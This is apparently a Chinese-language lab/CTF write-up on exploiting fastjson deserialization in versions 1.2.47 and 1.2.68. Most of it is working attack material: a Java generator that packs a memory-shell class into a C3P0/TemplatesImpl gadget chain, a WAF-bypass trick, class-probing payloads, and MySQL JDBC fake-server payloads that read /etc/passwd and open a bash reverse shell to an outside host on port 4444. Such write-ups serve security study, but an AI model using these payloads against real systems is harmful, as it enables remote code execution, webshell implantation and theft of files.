3. 用 Test.java 生成 fastjson payload
Test.java 干的事是:读 IceShell.class → 塞进 TemplatesImpl._bytecodes → 拼成 C3P0 原生反序列化的对象图 → 整体序列化成 hex → 拼进 userOverridesAsString 的 HexAsciiSerializedMap: 格式。
对象图的拼法是「HashMap → 值 BadAttributeValueExpException → val 是装着 TemplatesImpl 的 JSONArray」。反序列化时 BadAttributeValueExpException.readObject() 会调用 val 的 toString(),JSONArray.toString() 在序列化元素的过程中触发 TemplatesImpl.getOutputProperties(),进而 defineClass 我们塞进去的内存马字节码。
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Test {
public static void main(String[] args) throws Exception {
String hex2 = bytesToHex(tobyteArray(gen()));
String FJ1247 = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex2 + ";\",\n" +
" }\n" +
"}\n";
System.out.println(FJ1247);
}
// FastJson 原生反序列化加载恶意类字节码
public static Object gen() throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
// 注意路径:改成你实际的 IceShell.class 路径
byte[] bytes = Files.readAllBytes(Paths.get("IceShell.class"));
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, bd);
return hashMap;
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
public static String bytesToHex(byte[] bytes) {
StringBuffer stringBuffer = new StringBuffer();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i] & 0xff);
if (hex.length() < 2) {
stringBuffer.append("0" + hex);
} else {
stringBuffer.append(hex);
}
}
return stringBuffer.toString();
}
}
编译并运行,生成 payload:
javac -cp "target-lib/fastjson-1.2.47.jar:target-lib/c3p0-0.9.5.4.jar:target-lib/mchange-commons-java-0.2.15.jar" Test.java
java -cp ".:target-lib/fastjson-1.2.47.jar:target-lib/c3p0-0.9.5.4.jar:target-lib/mchange-commons-java-0.2.15.jar" Test > payload.json
classpath 里 .: 表示当前目录,Test.class 和 IceShell.class 都在里面。macOS/Linux 用 : 分隔,Windows 用 ;。
生成的 payload 大概长这样(hex 有一万多个字符,这里截断显示,实际用上面命令生成的完整输出):
{
"a":{
"@type":"java.lang.Class",
"val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b":{
"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString":"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d1...(略);"
}
}
4. 打过去
但这个靶场有 WAF:

被拦了,报错是 hacker!hacker!。从关键字上看,WAF 盯的是 userOverridesAsString。我先试了 unicode 和 hex 编码,都不行——这个 WAF 的代码里把 \u、\x 这类编码前缀也一起过滤了。
换成 Y4tacker 那篇《浅谈 Fastjson 绕 waf》里提到的一招:往关键字里插下划线,比如写成 us_erOverridesAsString。
原因是 fastjson 匹配字段名走的是 TypeUtils.fnv1a_64_lower,这个函数会忽略所有的 _ 和 -,所以加了字母照样能匹配到 userOverridesAsString;而 WAF 是拿原始字符串去比的,自然匹配不上。
发包之后报的是 set property error, userOverridesAsString:

看到这个报错,其实就说明内存马注入成功了。IceShell 的 static 代码块是在类加载时执行的,这时候 Filter 已经注册进 Tomcat 了;后面即使某一步抛异常(比如 hex 解码、或者冰蝎的类加载流程),也不影响 Filter 已经挂上。所以「报错」反而是成功的信号。
冰蝎连上:

拿到 flag:

1.2.68:SafeMode、expectClass 与 JDBC 链
1.2.68 引入了两样东西:SafeMode 和更严格的 checkAutoType 校验。
| 机制 | 作用 | 能不能绕 |
|---|---|---|
AutoType 关闭(autoTypeSupport=false) | 拒绝大部分 @type,但留了 expectClass 通道 | 能绕,双 @type 就是干这个的 |
SafeMode(safeMode=true) | 直接禁用所有 @type,连检查都不检查 | 不能绕 |
SafeMode 一旦开启,checkAutoType() 入口处直接抛异常,所有 @type 全部失效:
safeMode not support autoType: xxx
漏洞原因
SafeMode 没开的情况下,可以利用 expectClass 通道:先让 fastjson 进入一个「期望类型不是 Object 等普通类」的上下文,再在里面塞第二个 @type,让恶意类作为期望类型的子类被放行。
这就是那些双 @type 的 payload 为什么长成那样:
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
... 后面的字段和普通的 JDBC payload 一样
}
第一个 @type 把期望类型设成 java.lang.AutoCloseable,第二个 @type 指定的类只要是它的实现类就能通过校验——而 MySQL 的 ReplicationMySQLConnection 恰好实现了 AutoCloseable。
漏洞复现
第一步:探测版本
POST /login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json; charset=UTF-8
{
"@type": "java.lang.AutoCloseable"

响应里带着 fastjson-version 1.2.68,和前面 1.2.47 那节是同一个套路。
第二步:判断 SafeMode 开没开
这里要单独说一句:上面那个截断的 JSON 在语法解析阶段就挂了,根本走不到 checkAutoType,所以它的报错看不出 SafeMode 的状态。判断 SafeMode 得发一个完整的 JSON,@type 指向黑名单里的类,看报什么错:
autoType is not support. xxx→ SafeMode 没开,@type还能用;safeMode not support autoType: xxx→ SafeMode 开了,可以直接收工了。
本文这个环境是前者。
第三步:探测依赖
既然 @type 可用,第一个思路自然是找能做文件写入的类——JDK 11 和 commons-io 里都有公开过的链。先探一探有没有 commons-io:
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.apache.commons.io.Charsets"
}
}
}
返回 No message available,说明这个类不存在,写文件的思路走不通:

那就换一条更直接的 RCE 思路:配合 MySQL JDBC 反序列化打 fastjson。这条链要求环境里有 JDBC 依赖,而且对版本要求挺严,MySQL-JDBC 在 5、6、8 下都有对应的利用方式,所以还得先探具体版本。
常用的依赖探测 payload 汇总(配合上面的 Character 报错法逐个试):
org.springframework.web.bind.annotation.RequestMapping // SpringBoot
org.apache.catalina.startup.Tomcat // Tomcat
groovy.lang.GroovyShell // Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources // C3P0
com.mysql.jdbc.Buffer // mysql-connector 5.x
com.mysql.cj.api.authentication.AuthenticationProvider // mysql-connector 6.x
com.mysql.cj.protocol.AuthenticationProvider // mysql-connector 8.x
sun.nio.cs.GBK // JDK 8
java.net.http.HttpClient // JDK 11
org.apache.ibatis.type.Alias // MyBatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource // tomcat-dbcp 7 - BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource // tomcat-dbcp 8 及以后 - BCEL
org.apache.commons.io.Charsets // commons-io(版本不确定)
org.apache.commons.io.file.Counters // commons-io 2.7 ~ 2.8
org.aspectj.ajde.Ajde // aspectjtools
探到环境里是 mysql-connector 8:
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "com.mysql.cj.protocol.AuthenticationProvider"
}
}
}

不过 mysql-connector 8 的限制条件很苛刻,只有 8.0.19 这一个版本能做反序列化;巧的是这个环境用的恰好就是 8.0.19。
MySQL JDBC 反序列化
原理:MySQL 客户端在 autoDeserialize=true 时,会把服务端返回的部分字段用 ObjectInputStream 反序列化。那么只要用一个假的 MySQL 服务端冒充数据库,把 ysoserial 生成的序列化数据当成「查询结果」发回去,客户端就会反序列化执行。文件读取也是同一套:allowLoadLocalInfile=true 加上特殊格式的 user 名,假服务端就会把目标机器上的文件内容当作数据发回来。
准备 MySQL Fake Server
git clone https://github.com/fnmsd/MySQL_Fake_Server.git
cd MySQL_Fake_Server
# 启动,默认监听 3306
python3 server.py
先做文件读取
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "host.docker.internal"
}
],
"slaves": [],
"properties": {
"host": "host.docker.internal",
"user": "fileread_/etc/passwd",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}
user 写成 fileread_<绝对路径>,假服务端的日志里就能看到文件内容:

再做反序列化 RCE
前面说过,fastjson 全版本都存在原生反序列化,而这个环境里也没有其他组件,所以只能配合原生反序列化来打。
MySQL_Fake_Server 的反序列化模块需要配合 ysoserial:它接收 yso_<链名>_<命令> 格式的 user 名,调用同目录下的 ysoserial 生成 payload 再发回去。但原版 ysoserial 里并没有 fastjson 这条链,所以得自己往 ysoserial 里加上 FastJson1 链并重新编译打包。
这里是加好链重新编译的 ysoserial:ysoserial-0.0.6-SNAPSHOT-all.jar。把它上传到与 server.py 同目录即可,文件名必须是 ysoserial-0.0.6-SNAPSHOT-all.jar,否则工具找不到。
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "host.docker.internal"
}
],
"slaves": [],
"properties": {
"host": "host.docker.internal",
"user": "yso_FastJson1_bash -i >& /dev/tcp/host.docker.internal/4444 0>&1",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}
收到 shell:

后面还有哪些版本
1.2.68 之所以是本文的终点,是因为 1.2.69 把 java.lang.AutoCloseable、java.lang.Runnable、java.lang.Readable 一起加进了黑名单——这三个正是 expectClass 通道里最常用的「期望类型」,上面那条 MySQL JDBC 链也就跟着失效了。
再往后的 1.2.69 ~ 1.2.80 是另一套打法,主要围绕 groovy、aspectjtools、ognl 这类第三方依赖,以及通过 Exception、JSONObject 等把子类塞进 fastjson 缓存的操作,思路上和 1.2.47 的缓存投毒是一脉相承的,这里就不展开了。到 1.2.83(1.x 的最后一版)官方默认开启了 SafeMode,1.x 这条线才算收尾。